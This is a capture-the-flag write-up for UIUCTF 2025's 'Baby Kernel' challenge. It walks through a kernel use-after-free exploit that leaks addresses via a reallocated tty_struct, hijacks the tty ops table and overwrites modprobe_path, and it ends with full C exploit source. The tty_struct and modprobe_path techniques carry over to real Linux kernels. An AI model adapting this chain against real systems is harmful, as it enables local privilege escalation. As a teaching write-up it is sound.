Baby Kernel - UIUCTF 2025
Introduction
The challenge features a vulnerable kernel module vuln.ko
in a QEMU VM with Linux kernel v6.6.16. It exposes /dev/vuln
with ioctl commands for allocating, freeing, reading, and writing a global kernel buffer. The key vulnerability is a UAF, as the buffer pointer remains dangling after free without nullification:
case FREE: {
if (!buf) {
return -EFAULT;
}
kfree(buf);
break;
}
case USE_READ: {
if (!buf) {
return -EFAULT;
}
return copy_to_user((char*)arg, buf, size);
}
KASLR, SMEP & SMAP are enabled.
Exploitation
Exploit the UAF by freeing the buffer and reallocating the slab with a tty_struct
via /dev/ptmx
. Leak the kernel base from the ops pointer and the tty address from an internal pointer. Forge a fake ops table in the tty, redirecting ioctl to a write gadget. Use this to overwrite modprobe_path
. Trigger modprobe with invalid magic bytes to execute a custom script that reads the flag.
Step 1: Trigger UAF and Reallocate with TTY Struct
Open /dev/vuln
, alloc 0x300, free to create hole in kmalloc-1k
.
int fd = open("/dev/vuln", O_RDWR);
size_t size = 0x300;
ioctl(fd, ALLOC, &size);
ioctl(fd, FREE);
Open /dev/ptmx
to alloc the tty_struct
into that hole.
int ptmx = open("/dev/ptmx", O_RDWR);
Step 2: Leak Kernel Base and TTY Struct Address
Since buf
now points to a tty_struct
, leaking addresses is trivial:
ioctl(fd, USE_READ, buf);
uint64_t kbase = *(uint64_t*)(buf + 32) - 0x1285100;
uint64_t tty_struct = *(uint64_t*)(buf + 72) - 0x40;
Step 3: Overwrite TTY Ops to Fake Vtable containing the Gadget
Overwrite tty ops ptr (0x20) to tty + 0x290
(unused area for fake ops).
Set fake ops ioctl slot (0x60, 13th func) to mov [rdx], rsi; ...
at kbase + 0x144fa9
.
*(uint64_t*)(buf + 32) = tty_struct + 0x290;
*(uint64_t*)(buf + 0x290 + 96) = kbase + MOV_QWORD_PTR_RDX_RSI;
ioctl(fd, USE_WRITE, buf);
Now ioctl on ptmx calls gadget [rdx] = rsi
, where 4 bytes of rsi
are specified by the second ioctl argument and rdx
by the third.
Step 4: Overwrite modprobe_path
modprobe_path
is at kbase + 0x1b3f600
.
Write “/tmp/pv\0” with two 4-byte ioctl calls:
ioctl(ptmx, 0x706d742f, kbase + modprobe_path); // "/tmp"
ioctl(ptmx, 0x0076702f, kbase + modprobe_path + 4); // "/pv\0"
Step 5: Trigger Modprobe to Get Flag
Setup /tmp/pv
script to copy/chmod flag.
Trigger modprobe with bad magic bytes \xff\xff\xff\xff
to run the script.
system("echo '#!/bin/sh\ncp /flag.txt /tmp/flag.txt\nchmod 777 /tmp/flag.txt' > /tmp/pv");
system("chmod +x /tmp/pv");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/trigger");
system("chmod +x /tmp/trigger");
system("/tmp/trigger > /dev/null 2>&1");
system("cat /tmp/flag.txt; echo");
Proof
Full Exploit
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#define K1_TYPE 0xB9
#define ALLOC _IOW(K1_TYPE, 0, size_t)
#define FREE _IO(K1_TYPE, 1)
#define USE_READ _IOR(K1_TYPE, 2, char)
#define USE_WRITE _IOW(K1_TYPE, 2, char)
#define panic(expr) ({ \
int __res = (expr); \
if (__res < 0) { \
dprintf(2, "[line:%d] %s: %d\n", __LINE__, #expr, __res); \
_exit(1); \
} \
__res; \
})
const uint64_t modprobe_path = 0x1b3f600;
const uint64_t MOV_QWORD_PTR_RDX_RSI = 0x144fa9;
void get_flag() {
system("echo '#!/bin/sh\ncp /flag.txt /tmp/flag.txt\nchmod 777 /tmp/flag.txt' > /tmp/pv");
system("chmod +x /tmp/pv");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/trigger");
system("chmod +x /tmp/trigger");
system("/tmp/trigger > /dev/null 2>&1");
system("cat /tmp/flag.txt; echo");
_exit(0);
}
void main() {
setbuf(stdout, NULL);
int fd = panic(open("/dev/vuln", O_RDWR));
puts("[+] Opened vuln device");
size_t size = 0x300;
ioctl(fd, ALLOC, &size);
ioctl(fd, FREE);
puts("[+] Allocated and freed");
int ptmx = panic(open("/dev/ptmx", O_RDWR));
puts("[+] Opened ptmx");
uint8_t buf[size];
ioctl(fd, USE_READ, buf);
uint64_t kbase = *(uint64_t*)(buf + 32) - 0x1285100;
uint64_t tty_struct = *(uint64_t*)(buf + 72) - 0x40;
printf("[+] Kernel base @ 0x%lx\n", kbase);
printf("[+] TTY struct @ 0x%lx\n", tty_struct);
*(uint64_t*)(buf + 32) = tty_struct + 0x290;
*(uint64_t*)(buf + 0x290 + 96) = kbase + MOV_QWORD_PTR_RDX_RSI;
ioctl(fd, USE_WRITE, buf);
puts("[+] Overwritten tty_struct->ops->ioctl");
ioctl(ptmx, 0x706d742f, kbase + modprobe_path); // "/tmp"
ioctl(ptmx, 0x0076702f, kbase + modprobe_path + 4); // "/pv\0"
puts("[+] Overwritten modprobe_path");
puts("[+] Reading flag...");
get_flag();
}
I’ve compiled the exploit statically with musl-gcc
due to its lower size.
Final Note
The challenge author confirmed this as the intended approach.